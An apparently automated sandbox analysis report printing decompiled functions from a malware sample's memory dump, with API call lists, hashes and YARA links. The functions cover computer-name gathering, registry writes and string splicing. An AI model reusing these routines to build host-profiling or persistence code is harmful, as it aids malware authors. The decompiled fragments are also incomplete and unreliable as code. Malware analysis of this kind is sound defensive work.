0x0418a376
0x0418a376
0x0418a379
0x0418a37a
0x0418a384
0x0418a38b
0x0418a390
0x0418a392
0x0418a398
0x0418a3c0
0x0418a3d8
0x0418a3da
0x0418a3db
0x0418a3dd
0x0418a41b
0x0418a41b
0x0418a421
0x0418a427
0x0418a427
0x0418a3df
0x0418a3e5
0x0418a3e8
0x0418a3f7
0x0418a3f9
0x0418a400
0x0418a434
0x0418a439
0x0418a43b
0x0418a43d
0x0418a43d
0x00000000
0x0418a43b
0x0418a402
0x0418a407
0x0418a415
0x00000000
0x0418a415
0x0418a3cf
0x0418a3d4
0x0418a3d4
0x00000000
0x0418a3d4
0x0418a39a
0x0418a3a2
0x00000000
0x00000000
0x0418a3b1
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,7519F710), ref: 0418A39A

Part of subcall function 04184AB6: GetTickCount.KERNEL32 ref: 04184ACA
Part of subcall function 04184AB6: wsprintfA.USER32 ref: 04184B1A
Part of subcall function 04184AB6: wsprintfA.USER32 ref: 04184B37
Part of subcall function 04184AB6: wsprintfA.USER32 ref: 04184B63
Part of subcall function 04184AB6: HeapFree.KERNEL32(00000000,?), ref: 04184B75
Part of subcall function 04184AB6: wsprintfA.USER32 ref: 04184B96
Part of subcall function 04184AB6: HeapFree.KERNEL32(00000000,?), ref: 04184BA6
Part of subcall function 04184AB6: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04184BD4
Part of subcall function 04184AB6: GetTickCount.KERNEL32 ref: 04184BE5

RtlAllocateHeap.NTDLL(00000000,00000800,7519F710), ref: 0418A3B8
RtlFreeHeap.NTDLL(00000000,00000002,04185289,?,04185289,00000002,?,?,04185D5E,?), ref: 0418A415

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: 9ec240c80b82fa9711eceb237255474888b58b5717069e826314c1ec3db720c3
Instruction ID: 61fa7837254bb1f20456ccfb6208d29a018f1f817910fdd2eeb3cc489f7d8b7b
Opcode Fuzzy Hash: 9ec240c80b82fa9711eceb237255474888b58b5717069e826314c1ec3db720c3
Instruction Fuzzy Hash: 8B213D75200205EBDB11AF99E9C4E9A37ADEF44384F10402EF9029B180EB74FD859FA1

Uniqueness

Uniqueness Score: -1.00%

Function 04181DF4, Relevance: 4.6, APIs: 3, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E04181DF4(void* __eax, char* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16, void** _a20, intOrPtr* _a24) {
				char _v5;
				signed int _v12;
				intOrPtr _v16;
				char _t28;
				void* _t33;
				void* _t38;
				void* _t45;
				char* _t46;
				void* _t48;
				char* _t56;
				char* _t57;
				intOrPtr _t59;
				void* _t60;

				_t56 = _a4;
				_t60 = __eax;
				_v12 = 0xb;
				if(_t56 != 0 && __eax != 0) {
					_t5 = _t60 - 1; // -1
					_t46 =  &(_t56[_t5]);
					_t28 =  *_t46;
					_v5 = _t28;
					 *_t46 = 0;
					__imp__(_a8, _t45);
					_v16 = _t28;
					_t57 = StrStrA(_t56, _a8);
					if(_t57 != 0) {
						 *_t46 = _v5;
						_t33 = RtlAllocateHeap( *0x418d238, 0, _a16 + _t60); // executed
						_t48 = _t33;
						if(_t48 == 0) {
							_v12 = 8;
						} else {
							_t58 = _t57 - _a4;
							E0418A749(_t57 - _a4, _a4, _t48);
							_t38 = E0418A749(_a16, _a12, _t58 + _t48);
							_t53 = _v16;
							_t59 = _a16;
							E0418A749(_t60 - _t58 - _v16, _t53 + _t58 + _a4, _t38 + _t59);
							 *_a20 = _t48;
							_v12 = _v12 & 0x00000000;
							 *_a24 = _t60 - _v16 + _t59;
						}
					}
				}
				return _v12;
			}

0x04181dfc
0x04181dff
0x04181e01
0x04181e0a
0x04181e1c
0x04181e1c
0x04181e20
0x04181e22
0x04181e25
0x04181e28
0x04181e31
0x04181e3b
0x04181e3f
0x04181e44
0x04181e54
0x04181e5a
0x04181e5e
0x04181ead
0x04181e60
0x04181e60
0x04181e69
0x04181e78
0x04181e7d
0x04181e8a
0x04181e93
0x04181e9e
0x04181ea5
0x04181ea9
0x04181ea9
0x04181e5e
0x04181eb4
0x04181ebb

APIs

lstrlen.KERNEL32(7519F710,?,00000000,?,7519F710), ref: 04181E28
StrStrA.SHLWAPI(00000000,?), ref: 04181E35
RtlAllocateHeap.NTDLL(00000000,?), ref: 04181E54

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrlen
String ID:
API String ID: 556738718-0
Opcode ID: 56c984b4087cdcc2869d8d61ed098cfa0cb0c8ba47560e57b4e9f142c1ffb143
Instruction ID: 6f6cd615b04abd7ea54fd33881a1759ff1006e74778b463eb743e6e47024ca99
Opcode Fuzzy Hash: 56c984b4087cdcc2869d8d61ed098cfa0cb0c8ba47560e57b4e9f142c1ffb143
Instruction Fuzzy Hash: FD214A3A600249AFCB02DF69D884B9EBFB5FF84254F048259E844AB305D735E956CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04181526, Relevance: 3.8, APIs: 3, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04181526(void* _a4, intOrPtr _a8, intOrPtr _a12) {
				int _v12;
				signed int _v16;
				void* _v20;
				signed char _v36;
				void* _t24;
				intOrPtr _t27;
				void* _t35;
				signed int _t38;
				signed char* _t46;
				int _t53;
				void* _t55;
				void* _t56;
				void* _t57;

				_v16 = _v16 & 0x00000000;
				_t46 = _a4;
				_t53 = ( *_t46 & 0x000000ff) + 0x90;
				_v12 = 0x90;
				_t24 = E0418A71F(_t53);
				_a4 = _t24;
				if(_t24 != 0) {
					memcpy(_t24,  *0x418d2d8, 0x90);
					_t27 =  *0x418d2dc; // 0x0
					_t57 = _t56 + 0xc;
					if(_t27 != 0) {
						_t51 = _a4;
						E04181709(0x90, _a4, _t27, 0);
					}
					if(E041814F3( &_v36) != 0) {
						_t35 = E041837B8(0x90, _a4,  &_v20,  &_v12,  &_v36, 0); // executed
						if(_t35 == 0) {
							_t55 = _v20;
							_v36 =  *_t46;
							_t38 = E04184776(_t55, _a8, _t51, _t46, _a12); // executed
							_v16 = _t38;
							 *(_t55 + 4) = _v36;
							_t20 =  &(_t46[4]); // 0x8b4875c6
							memset(_t55, 0, _v12 - ( *_t20 & 0xf));
							_t57 = _t57 + 0xc;
							E0418A734(_t55);
						}
					}
					memset(_a4, 0, _t53);
					E0418A734(_a4);
				}
				return _v16;
			}

0x0418152c
0x04181531
0x0418153e
0x04181541
0x04181544
0x04181549
0x0418154e
0x0418155c
0x04181561
0x04181566
0x0418156b
0x0418156d
0x04181575
0x04181575
0x04181584
0x04181599
0x041815a0
0x041815a7
0x041815ad
0x041815b3
0x041815bb
0x041815c1
0x041815c4
0x041815d1
0x041815d6
0x041815da
0x041815da
0x041815a0
0x041815e5
0x041815f0
0x041815f0
0x041815fc

APIs

Part of subcall function 0418A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

memcpy.NTDLL(00000000,00000090,00000002,00000002,04185289,00000008,04185289,04185289,?,0418A3FE,04185289), ref: 0418155C
memset.NTDLL ref: 041815D1
memset.NTDLL ref: 041815E5

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$AllocateHeapmemcpy
String ID:
API String ID: 1529149438-0
Opcode ID: 6c2c9ebd1527d5deb876d24c3be02168394d026ad1e9aa63ab73adf2c3f0ce8f
Instruction ID: b144c2fd90a1e8d6f436d625717d4637bf9ec8f1f3e2c7801465a9a3072ed09d
Opcode Fuzzy Hash: 6c2c9ebd1527d5deb876d24c3be02168394d026ad1e9aa63ab73adf2c3f0ce8f
Instruction Fuzzy Hash: AD212F76A00218BBEB11FF65CC81BDE7BB9EF09654F044069F905E6251EB34EA01CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0418219B, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0418219B(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E04183AB0(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x418d2a8; // 0x99a5a8
						_t20 = _t68 + 0x418e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E041857B4(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x041821a1
0x041821a4
0x041821b4
0x041821bd
0x041821c1
0x0418228f
0x04182295
0x04182295
0x041821db
0x041821e0
0x041821e4
0x041821ea
0x041821ef
0x041821f6
0x04182205
0x04182205
0x04182209
0x0418220b
0x04182217
0x04182222
0x0418222d
0x04182231
0x0418223b
0x0418223f
0x04182241
0x04182246
0x0418224d
0x0418225d
0x0418225d
0x04182246
0x0418223f
0x0418225f
0x04182264
0x04182269
0x04182269
0x0418226c
0x04182275
0x0418227a
0x0418227a
0x0418227f
0x04182284
0x04182284
0x0418227f
0x04182209
0x04182286
0x0418228c
0x00000000

APIs

Part of subcall function 04183AB0: SysAllocString.OLEAUT32(80000002), ref: 04183B0D
Part of subcall function 04183AB0: SysFreeString.OLEAUT32(00000000), ref: 04183B73

SysFreeString.OLEAUT32(?), ref: 0418227A
SysFreeString.OLEAUT32(041885ED), ref: 04182284

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 9b9a413215ca4389cf8c783d954621dca2f327bfe840347af770a0b6115ee743
Instruction ID: 87a23841be69707c2dde7b2a1ede32b69d269428dc8b49387c930d7e4bdaa321
Opcode Fuzzy Hash: 9b9a413215ca4389cf8c783d954621dca2f327bfe840347af770a0b6115ee743
Instruction Fuzzy Hash: E3314D75500159EFCB12EF94C888C9BBB7AFFC97407148A98F9159B210D771ED51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04188E27, Relevance: 3.0, APIs: 2, Instructions: 50
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04188E27(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				struct _FILETIME _v12;
				signed int _t11;
				void* _t16;
				short _t19;
				void* _t22;
				void* _t24;
				void* _t25;
				short* _t26;

				_t24 = __edx;
				_t25 = E04189070(_t11, _a12);
				if(_t25 == 0) {
					_t22 = 8;
				} else {
					_t26 = _t25 + _a16 * 2;
					 *_t26 = 0; // executed
					_t16 = E041872C0(__ecx, _a4, _a8, _t25); // executed
					_t22 = _t16;
					if(_t22 == 0) {
						GetSystemTimeAsFileTime( &_v12);
						_t19 = 0x5f;
						 *_t26 = _t19;
						_t22 = E041822F1(_t24, _a4, 0x80000001, _a8, _t25,  &_v12, 8);
					}
					HeapFree( *0x418d238, 0, _t25);
				}
				return _t22;
			}

0x04188e27
0x04188e38
0x04188e3c
0x04188e97
0x04188e3e
0x04188e45
0x04188e4d
0x04188e50
0x04188e55
0x04188e59
0x04188e5f
0x04188e67
0x04188e6a
0x04188e82
0x04188e82
0x04188e8d
0x04188e8d
0x04188e9e

APIs

Part of subcall function 04189070: lstrlen.KERNEL32(?,00000000,04B29A98,00000000,04188808,04B29C76,?,?,?,?,?,63699BC3,00000005,0418D00C), ref: 04189077
Part of subcall function 04189070: mbstowcs.NTDLL ref: 041890A0
Part of subcall function 04189070: memset.NTDLL ref: 041890B2

GetSystemTimeAsFileTime.KERNEL32(004F0053,004F0053,00000014,00000000,00000008,00000000,75145520,00000008,00000014,004F0053,04B2935C), ref: 04188E5F
HeapFree.KERNEL32(00000000,00000000,004F0053,00000014,00000000,00000008,00000000,75145520,00000008,00000014,004F0053,04B2935C), ref: 04188E8D

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$FileFreeHeapSystemlstrlenmbstowcsmemset
String ID:
API String ID: 1500278894-0
Opcode ID: cb32c2c8d3c030505a51c4c5f306c43703d4452822fe90f4e9eaab6a9fe5644f
Instruction ID: 8f5fd85106d67c9b5519aa0dcc146f06f1d52ba1fe97dd5d8f666c38a38ab35a
Opcode Fuzzy Hash: cb32c2c8d3c030505a51c4c5f306c43703d4452822fe90f4e9eaab6a9fe5644f
Instruction Fuzzy Hash: 8B018436210209BBEB217F95DC84E9F7B79EF84754F50042DFA009A160EB71E954DB50

Uniqueness

Uniqueness Score: -1.00%

Function 04186207, Relevance: 3.0, APIs: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(0418A513), ref: 04186220

Part of subcall function 0418219B: SysFreeString.OLEAUT32(?), ref: 0418227A

SysFreeString.OLEAUT32(00000000), ref: 04186261

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: e21a2b5c3cc6a9ca0fdfef666af41b02847e853f11bbf8f1d8acbd36ba908bc1
Instruction ID: 55d7a6cdf4e1988e658ca9dfd5bea59b9724ffcce676c398ed398ecd8252e23c
Opcode Fuzzy Hash: e21a2b5c3cc6a9ca0fdfef666af41b02847e853f11bbf8f1d8acbd36ba908bc1
Instruction Fuzzy Hash: C601627560020ABFDB01AFA9D804D9F7BB9EF48654B114169FA08E7120E7309D15DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 041858DB, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E041858DB(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E0418A71F(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E0418A734(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x041858e0
0x041858eb
0x041858ed
0x041858f3
0x041858f5
0x041858fa
0x04185903
0x04185907
0x04185910
0x04185914
0x04185923
0x04185916
0x04185917
0x0418591c
0x0418591c
0x04185914
0x04185907
0x0418592c

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,04181FA0,7519F710,00000000,?,?,04181FA0), ref: 041858F3

Part of subcall function 0418A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

GetComputerNameExA.KERNELBASE(00000003,00000000,04181FA0,04181FA1,?,?,04181FA0), ref: 04185910

Part of subcall function 0418A734: RtlFreeHeap.NTDLL(00000000,00000000,04185637,00000000,?,?,00000000), ref: 0418A740

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: 9c70cd48636d596f6e675d8eb3b0b68149d851e58494cc8e56f04098acc6ddc0
Instruction ID: 71d9af177fed36cbf28ad60a85924591b9cfe9ecdc413c85921134d17184480b
Opcode Fuzzy Hash: 9c70cd48636d596f6e675d8eb3b0b68149d851e58494cc8e56f04098acc6ddc0
Instruction Fuzzy Hash: 77F03036A00205BAEB11E69A8C41FAF77BEDBC5694F25009EA514E3140EB74EA059A70

Uniqueness

Uniqueness Score: -1.00%

Function 04184ECA, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0x418d23c) == 0) {
						E04181B42();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0x418d23c) == 1) {
						_t10 = E041812E5(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x04184ed1
0x04184ed2
0x04184ed5
0x04184f07
0x04184f09
0x04184f09
0x04184ed7
0x04184ed8
0x04184eed
0x04184ef4
0x04184ef6
0x04184ef6
0x04184ef4
0x04184ed8
0x04184f11

APIs

InterlockedIncrement.KERNEL32(0418D23C), ref: 04184EDF

Part of subcall function 041812E5: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,04184EF2,?), ref: 041812F8

InterlockedDecrement.KERNEL32(0418D23C), ref: 04184EFF

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: a4f56379b400ec8ff82ceeff81d4eb41fc1eebc4e780915f0331da49247b2209
Instruction ID: 0a9b093695f4a69ac9542ede12fa513cc77ff165a11ab38bb6a027188c728888
Opcode Fuzzy Hash: a4f56379b400ec8ff82ceeff81d4eb41fc1eebc4e780915f0331da49247b2209
Instruction Fuzzy Hash: 9EE04F3634823763E7253EBCA9C8B5AB653AB80B84F11445CE481D1051FF18F8419EA5

Uniqueness

Uniqueness Score: -1.00%

Function 0418161B, Relevance: 1.6, APIs: 1, Instructions: 75
memoryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0418161B(signed int __eax, void* __ecx, intOrPtr* _a4, void** _a8, intOrPtr* _a12) {
				signed int _v5;
				signed int _v12;
				void* _t32;
				signed int _t37;
				signed int _t39;
				signed char _t45;
				void* _t49;
				char* _t51;
				signed int _t65;
				signed int _t66;
				signed int _t69;

				_v12 = _v12 & 0x00000000;
				_t69 = __eax;
				_t32 = RtlAllocateHeap( *0x418d238, 0, __eax << 2); // executed
				_t49 = _t32;
				if(_t49 == 0) {
					_v12 = 8;
				} else {
					 *_a8 = _t49;
					do {
						_t45 =  *_a4;
						asm("cdq");
						_t65 = 0x64;
						_t37 = (_t45 & 0x000000ff) / _t65;
						_v5 = _t37;
						if(_t37 != 0) {
							 *_t49 = _t37 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t37 * 0x9c;
						}
						asm("cdq");
						_t66 = 0xa;
						_t39 = (_t45 & 0x000000ff) / _t66;
						if(_t39 != 0 || _v5 != _t39) {
							 *_t49 = _t39 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t39 * 0xf6;
						}
						_a4 = _a4 + 1;
						 *_t49 = _t45 + 0x30;
						 *(_t49 + 1) = 0x2c;
						_t49 = _t49 + 2;
						_t69 = _t69 - 1;
					} while (_t69 != 0);
					_t51 = _t49 - 1;
					 *_a12 = _t51 -  *_a8;
					 *_t51 = 0;
				}
				return _v12;
			}

0x04181620
0x04181625
0x04181633
0x04181639
0x0418163d
0x041816ae
0x0418163f
0x04181643
0x04181646
0x04181649
0x04181650
0x04181651
0x04181652
0x04181654
0x04181659
0x04181660
0x04181666
0x04181667
0x04181667
0x0418166e
0x0418166f
0x04181670
0x04181674
0x04181680
0x04181686
0x04181687
0x04181687
0x04181689
0x0418168f
0x04181691
0x04181696
0x04181697
0x04181697
0x0418169d
0x041816a6
0x041816a8
0x041816ab
0x041816ba

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 04181633

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bbd003545753af535588fff7abe9f6089efe24219c3e2ab9b5611d82234db6b7
Instruction ID: 9038f435d2bf9e1fca2af798822322d1452bcbe65bf1b20d248befc9a25b4b5c
Opcode Fuzzy Hash: bbd003545753af535588fff7abe9f6089efe24219c3e2ab9b5611d82234db6b7
Instruction Fuzzy Hash: FC112072245340AFEB058F29D491BE97BA5DF53314F2841CEE4808F392C277990BCB60

Uniqueness

Uniqueness Score: -1.00%

Function 041848F1, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E041848F1(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x418d2a8; // 0x99a5a8
				_t4 = _t15 + 0x418e39c; // 0x4b28944
				_t20 = _t4;
				_t6 = _t15 + 0x418e124; // 0x650047
				_t17 = E0418219B(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E04182298(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x041848fb
0x04184902
0x04184903
0x04184904
0x04184905
0x0418490b
0x04184910
0x04184910
0x0418491a
0x0418492c
0x04184933
0x04184961
0x04184935
0x04184937
0x0418493c
0x0418495e
0x0418493e
0x04184941
0x04184948
0x0418494d
0x0418494f
0x0418494f
0x04184954
0x04184954
0x0418493c
0x04184968

APIs

Part of subcall function 0418219B: SysFreeString.OLEAUT32(?), ref: 0418227A

Part of subcall function 04182298: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,041884CA,004F0053,00000000,?), ref: 041822A1
Part of subcall function 04182298: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,041884CA,004F0053,00000000,?), ref: 041822CB
Part of subcall function 04182298: memset.NTDLL ref: 041822DF

SysFreeString.OLEAUT32(00000000), ref: 04184954

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: a3a11a154b980af54138e3e04cae2bd340d94d7476d3a5ecb8b9b7f17de95b99
Instruction ID: f61faac986235b9500b1fefad9e8d793fe991905b37818530844c9ac7bf36cbd
Opcode Fuzzy Hash: a3a11a154b980af54138e3e04cae2bd340d94d7476d3a5ecb8b9b7f17de95b99
Instruction Fuzzy Hash: E501523190011ABFDB21EFA4CC84E9EBBB9EB48654F014569F904E7060F770E911DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 04181180, Relevance: 1.5, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E04181180(signed int __eax, void* __ecx, intOrPtr* __esi, void* _a4) {
				char _v8;
				void* _t14;
				intOrPtr _t17;
				void* _t20;
				void* _t26;

				_push(__ecx);
				if(_a4 == 0 || __eax == 0) {
					_t26 = 0x57;
				} else {
					_t14 = E0418161B(__eax,  &_a4, _a4,  &_a4,  &_v8); // executed
					_t26 = _t14;
					if(_t26 == 0) {
						_t17 =  *0x418d2a8; // 0x99a5a8
						_t9 = _t17 + 0x418ea38; // 0x444f4340
						_t20 = E04181DF4( *((intOrPtr*)(__esi + 4)),  *__esi, _t9, _a4, _v8, __esi + 8, __esi + 0xc); // executed
						_t26 = _t20;
						RtlFreeHeap( *0x418d238, 0, _a4); // executed
					}
				}
				return _t26;
			}

0x04181183
0x04181189
0x041811e0
0x0418118f
0x0418119a
0x0418119f
0x041811a3
0x041811b0
0x041811b8
0x041811c4
0x041811cc
0x041811d6
0x041811d6
0x041811a3
0x041811e5

APIs

Part of subcall function 0418161B: RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 04181633

Part of subcall function 04181DF4: lstrlen.KERNEL32(7519F710,?,00000000,?,7519F710), ref: 04181E28
Part of subcall function 04181DF4: StrStrA.SHLWAPI(00000000,?), ref: 04181E35
Part of subcall function 04181DF4: RtlAllocateHeap.NTDLL(00000000,?), ref: 04181E54

RtlFreeHeap.NTDLL(00000000,00000000,?,444F4340,00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,04183C3B), ref: 041811D6

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
